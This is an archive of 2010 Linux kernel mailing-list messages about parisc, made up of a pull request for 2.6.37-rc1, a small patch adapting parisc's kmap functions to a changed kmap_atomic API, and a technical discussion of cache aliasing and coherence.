X-Mailer: Evolution 2.30.1.2 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000001, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:54558 gmane.linux.kernel.cross-arch:8184 gmane.linux.ports.parisc:3192
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/54558>

On Thu, 2010-10-28 at 01:18 -0400, John David Anglin wrote:
> Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>
> 
> Sent effectively the same change to parisc-linux list months ago...

You did?  Why didn't you send it to Peter?  When I grumbled at him on
IRC for breaking parisc (as well as quite a few other 64 bit
architectures in mainline) he had no idea there was a problem.

James


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>



From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [git patches] parisc changes for 2.6.37-rc1
Date: Thu, 28 Oct 2010 10:10:34 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <20101028141034.GX8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288275041 10752 80.91.229.12 (28 Oct 2010 14:10:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 14:10:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 28 16:10:37 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBTBc-0006R7-OX
	for glpp-linux-parisc@lo.gmane.org; Thu, 28 Oct 2010 16:10:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758666Ab0J1OKf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Oct 2010 10:10:35 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:56921 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752648Ab0J1OKf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Oct 2010 10:10:35 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PBTBa-0005gY-HU; Thu, 28 Oct 2010 14:10:34 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3193
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3193>

The following changes since commit 0acc1b2afb6ded060b7d6b1b5e6ac8a00ec47547:

  Merge branch 'kvm-updates/2.6.36' of git://git.kernel.org/pub/scm/virt/kvm/kvm (2010-10-12 09:16:01 -0700)

are available in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git next

Christian Dietrich (1):
      arch/parisc: Removing undead ifdef CONFIG_PA20

FUJITA Tomonori (1):
      parisc: remove homegrown L1_CACHE_ALIGN macro

Guy Martin (1):
      parisc: add tty driver to PDC console

Joe Perches (1):
      drivers/parisc/iosapic.c: Remove unnecessary kzalloc cast

Julia Lawall (1):
      drivers/char/agp/parisc-agp.c: eliminate memory leak

Kyle McMartin (9):
      parisc: squelch warning when using dev_get_stats
      parisc: add prlimit64 syscall
      parisc: lay groundwork for killing __do_IRQ
      parisc: convert cpu interrupts to proper flow handlers
      parisc: convert iosapic interrupts to proper flow handlers
      parisc: convert suckyio interrupts to flow handlers
      parisc: convert gsc and dino pci interrupts to flow handlers
      parisc: convert eisa interrupts to flow handlers
      parisc: kill __do_IRQ

Phil Carmody (1):
      parisc: unwind - optimise linked-list searches for modules

matt mooney (1):
      parisc: change to new flag variable

 arch/parisc/Kconfig                |    4 +
 arch/parisc/include/asm/cache.h    |    2 -
 arch/parisc/include/asm/irq.h      |    2 +-
 arch/parisc/include/asm/unistd.h   |    3 +-
 arch/parisc/kernel/irq.c           |   41 +++++------
 arch/parisc/kernel/pdc_cons.c      |  141 ++++++++++++++++++++++++++++++++++--
 arch/parisc/kernel/syscall_table.S |    1 +
 arch/parisc/kernel/unaligned.c     |    3 -
 arch/parisc/kernel/unwind.c        |    5 +-
 arch/parisc/math-emu/Makefile      |    2 +-
 drivers/char/agp/parisc-agp.c      |    4 +
 drivers/parisc/dino.c              |   29 +++-----
 drivers/parisc/eisa.c              |   29 +++-----
 drivers/parisc/gsc.c               |   36 +++------
 drivers/parisc/iosapic.c           |   56 +++-----------
 drivers/parisc/led.c               |    6 +-
 drivers/parisc/superio.c           |   25 ++-----
 17 files changed, 222 insertions(+), 167 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] parisc: fix compile failure with kmap_atomic changes
Date: Thu, 28 Oct 2010 10:16:16 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20101028141616.GY8332@bombadil.infradead.org>
References: <1288204547.6886.23.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288275385 12639 80.91.229.12 (28 Oct 2010 14:16:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 14:16:25 +0000 (UTC)
Cc: linux-mm <linux-mm@kvack.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Peter Zijlstra <peterz@infradead.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 28 16:16:24 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBTHA-0001vk-QY
	for glpp-linux-parisc@lo.gmane.org; Thu, 28 Oct 2010 16:16:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755199Ab0J1OQT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Oct 2010 10:16:19 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:53951 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758011Ab0J1OQT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Oct 2010 10:16:19 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PBTH6-0006Vs-BL; Thu, 28 Oct 2010 14:16:16 +0000
Content-Disposition: inline
In-Reply-To: <1288204547.6886.23.camel@mulgrave.site>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3194 gmane.linux.kernel.mm:54559 gmane.linux.kernel.cross-arch:8185
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3194>

On Wed, Oct 27, 2010 at 01:35:47PM -0500, James Bottomley wrote:
> Author: Peter Zijlstra <a.p.zijlstra@chello.nl>
> Date:   Tue Oct 26 14:21:51 2010 -0700
> 
>     mm: stack based kmap_atomic()
> 
> overlooked the fact that parisc uses kmap as a coherence mechanism, so
> even though we have no highmem, we do need to supply our own versions of
> kmap (and atomic).  This patch converts the parisc kmap to the form
> which is needed to keep it compiling (it's a simple prototype and name
> change).
> 
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>

Signed-off-by: Kyle McMartin <kyle@redhat.com>

Care to send it straight to Linus? I didn't want to rebase my tree to
pull in the fix and risk his wrath...

Thanks,
--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] parisc: fix compile failure with kmap_atomic changes
Date: Thu, 28 Oct 2010 09:26:32 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1288275993.3043.3.camel@mulgrave.site>
References: <1288204547.6886.23.camel@mulgrave.site>
	 <20101028141616.GY8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288275999 15765 80.91.229.12 (28 Oct 2010 14:26:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 14:26:39 +0000 (UTC)
Cc: linux-mm <linux-mm@kvack.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Peter Zijlstra <peterz@infradead.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 28 16:26:38 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBTR7-00025K-Ia
	for glpp-linux-parisc@lo.gmane.org; Thu, 28 Oct 2010 16:26:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933189Ab0J1O0g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Oct 2010 10:26:36 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48802 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933088Ab0J1O0g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Oct 2010 10:26:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 62B1B8EE11A;
	Thu, 28 Oct 2010 07:26:35 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id j99QcGWrAk8V; Thu, 28 Oct 2010 07:26:35 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C14008EE0F8;
	Thu, 28 Oct 2010 07:26:34 -0700 (PDT)
In-Reply-To: <20101028141616.GY8332@bombadil.infradead.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3195 gmane.linux.kernel.mm:54560 gmane.linux.kernel.cross-arch:8186
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3195>

On Thu, 2010-10-28 at 10:16 -0400, Kyle McMartin wrote:
> On Wed, Oct 27, 2010 at 01:35:47PM -0500, James Bottomley wrote:
> > Author: Peter Zijlstra <a.p.zijlstra@chello.nl>
> > Date:   Tue Oct 26 14:21:51 2010 -0700
> > 
> >     mm: stack based kmap_atomic()
> > 
> > overlooked the fact that parisc uses kmap as a coherence mechanism, so
> > even though we have no highmem, we do need to supply our own versions of
> > kmap (and atomic).  This patch converts the parisc kmap to the form
> > which is needed to keep it compiling (it's a simple prototype and name
> > change).
> > 
> > Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> 
> Signed-off-by: Kyle McMartin <kyle@redhat.com>
> 
> Care to send it straight to Linus? I didn't want to rebase my tree to
> pull in the fix and risk his wrath...

Sure ... I was hoping Peter would ... as part of some fairly extensive
fixes for this code, but apparently he's unavailable while flying to the
US today.  By the way, it would be Acked-by: you if I do, since the
patch didn't pass through your hands.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix compile failure with kmap_atomic changes
Date: Thu, 28 Oct 2010 10:14:41 -0500
Lines: 71
Approved: news@gmane.org
Message-ID: <1288278881.3043.31.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288278891 30521 80.91.229.12 (28 Oct 2010 15:14:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 15:14:51 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 28 17:14:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBUBj-0007aV-0e
	for glpp-linux-parisc@lo.gmane.org; Thu, 28 Oct 2010 17:14:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753175Ab0J1POq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Oct 2010 11:14:46 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44634 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752743Ab0J1POp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Oct 2010 11:14:45 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2CAE28EE11A;
	Thu, 28 Oct 2010 08:14:44 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id uJq+en+mF-A8; Thu, 28 Oct 2010 08:14:44 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9C51E8EE114;
	Thu, 28 Oct 2010 08:14:43 -0700 (PDT)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3196
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3196>

This commit:

commit 3e4d3af501cccdc8a8cca41bdbe57d54ad7e7e73
Author: Peter Zijlstra <a.p.zijlstra@chello.nl>
Date:   Tue Oct 26 14:21:51 2010 -0700

    mm: stack based kmap_atomic()

overlooked the fact that parisc uses kmap as a coherence mechanism, so
even though we have no highmem, we do need to supply our own versions of
kmap (and atomic).  This patch converts the parisc kmap to the form
which is needed to keep it compiling (it's a simple prototype and name
change).

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
Acked-by: Kyle McMartin <kyle@redhat.com>

---

Linus, could you apply this directly?  Kyle already has the parisc tree
in progress and peterz (whom I thought would push this) is currently
over the Atlantic.

Thanks,

James



diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index dba11ae..f388a85 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -126,20 +126,20 @@ static inline void *kmap(struct page *page)
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-static inline void *kmap_atomic(struct page *page, enum km_type idx)
+static inline void *__kmap_atomic(struct page *page)
 {
 	pagefault_disable();
 	return page_address(page);
 }
 
-static inline void kunmap_atomic_notypecheck(void *addr, enum km_type idx)
+static inline void __kunmap_atomic(void *addr)
 {
 	kunmap_parisc(addr);
 	pagefault_enable();
 }
 
-#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
-#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
+#define kmap_atomic_prot(page, prot)	kmap_atomic(page)
+#define kmap_atomic_pfn(pfn)	kmap_atomic(pfn_to_page(pfn))
 #define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
 #endif
 


--
To unsubscribe from this list: send the line "unsubscribe linux-arch" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Thu, 28 Oct 2010 11:55:12 -0500
Lines: 59
Approved: news@gmane.org
Message-ID: <1288284912.3043.151.camel@mulgrave.site>
References: <20101028060439.5FA924CFC@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288284920 3568 80.91.229.12 (28 Oct 2010 16:55:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 16:55:20 +0000 (UTC)
Cc: mikulas@artax.karlin.mff.cuni.cz, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 28 18:55:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBVkz-0001uE-8E
	for glpp-linux-parisc@lo.gmane.org; Thu, 28 Oct 2010 18:55:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758941Ab0J1QzQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Oct 2010 12:55:16 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49361 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758933Ab0J1QzQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Oct 2010 12:55:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 602358EE11A;
	Thu, 28 Oct 2010 09:55:15 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ict-nYAdMc9x; Thu, 28 Oct 2010 09:55:15 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CB8118EE114;
	Thu, 28 Oct 2010 09:55:14 -0700 (PDT)
In-Reply-To: <20101028060439.5FA924CFC@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3197
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3197>

On Thu, 2010-10-28 at 02:04 -0400, John David Anglin wrote:
> > > BTW. if you flush cache on kmap, I think it couldn't work in multithreaded 
> > > environment at all --- i.e. the program has "int a, b;" both variables 
> > > share the cacheline, one thread is accessing "a" via kmap and the other 
> > > thread writes to b directly, for example "b = 5". Then, cache flushing 
> > > won't help and one of the variables will be trashed. You need kmap address 
> > > to be congruent with the linear address. But I think it's not reason for 
> > > my crash because neither gmake nor bash (that crashes) is multithreaded.
> 
> Agree.
> 
> > That statement assumes the threads share a data structure but are not
> > congruent ... which certainly isn't true for userspace.  Our only
> > incongruency which gives rise to aliasing is between the kernel and user
> > address spaces and we don't do data sharing between the two without
> > pretty severe accessor restrictions.
> 
> My sense is the above isn't correct.  Even if userspace is congruent,
> it would seem to me that another thread could dirty the cache line after
> kmap does its flush.  The design of the Linux memory management system
> might prevent this from happening, but it's not obvious.

Look at it this way:  it only happens if the kernel and userspace share
a data structure, which they never do.  If they did, it wouldn't just
show up on parisc, it would be seen on every risc system (since they're
almost all VIPT).

A far more dangerous form of cache line induced incoherence is actually
DMA.  If you DMA into a line which the kernel also touches
simultaneously, only one modification will survive.  Again we fix this
with a similar ownership model: either the kernel uses the region or the
device driver.

>   That's why
> I thought the kernel should use also use congruent mappings.

That would be ideal, but unfortunately memory in the kernel is currently
at fixed mappings (the physical to virtual offset is fixed).  If we
could get all mappings congruent, we'd actually be operating the pa88/89
processors within spec instead of having to pull kmap tricks.  Ralf has
some strange mips system that needs full congruency as well ... it's
just I don't think he's managed to get it working yet.

James

> My 32-bit UP c3750 is fully stable.  It has run for months and I don't
> see any wierd segmentation faults in userspace doing gcc builds.  On
> the otherhand, the testcases on the wiki crash with high probabiity.
> So, I think we are dealing with two different, but possibly related
> issues.  One is a MP issue.  The other is a clone/fork race.
> 
> Dave


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix compile failure with kmap_atomic changes
Date: Thu, 28 Oct 2010 13:13:01 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20101028171302.5D8944CFC@hiauly1.hia.nrc.ca>
References: <1288274629.3043.1.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288285988 10276 80.91.229.12 (28 Oct 2010 17:13:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 17:13:08 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-parisc@vger.kernel.org, peterz@infradead.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-arch-owner@vger.kernel.org Thu Oct 28 19:13:07 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PBW2E-0008As-K8
	for glka-linux-arch@lo.gmane.org; Thu, 28 Oct 2010 19:13:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758651Ab0J1RNF (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 28 Oct 2010 13:13:05 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1465 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753538Ab0J1RNE (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 28 Oct 2010 13:13:04 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5D8944CFC; Thu, 28 Oct 2010 13:13:01 -0400 (EDT)
In-Reply-To: <1288274629.3043.1.camel@mulgrave.site> from "James Bottomley" at Oct 28, 2010 09:03:49 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8187 gmane.linux.kernel.mm:54568 gmane.linux.ports.parisc:3198
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8187>

> On Thu, 2010-10-28 at 01:18 -0400, John David Anglin wrote:
> > Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>
> > 
> > Sent effectively the same change to parisc-linux list months ago...
> 
> You did?  Why didn't you send it to Peter?  When I grumbled at him on
> IRC for breaking parisc (as well as quite a few other 64 bit
> architectures in mainline) he had no idea there was a problem.

For example, it is in the diff recently posted here:
http://permalink.gmane.org/gmane.linux.ports.parisc/3173
This diff is from last May.

I wasn't aware of the compilation issue or the IRC discussion.  I
had noticed the problem by looking at the generic code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix compile failure with kmap_atomic changes
Date: Thu, 28 Oct 2010 12:39:40 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1288287580.3043.159.camel@mulgrave.site>
References: <20101028171302.5D8944CFC@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288287587 17997 80.91.229.12 (28 Oct 2010 17:39:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 17:39:47 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-parisc@vger.kernel.org, peterz@infradead.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Oct 28 19:39:45 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PBWS0-0005em-TP
	for glka-linux-arch@lo.gmane.org; Thu, 28 Oct 2010 19:39:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760265Ab0J1Rjn (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 28 Oct 2010 13:39:43 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34518 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
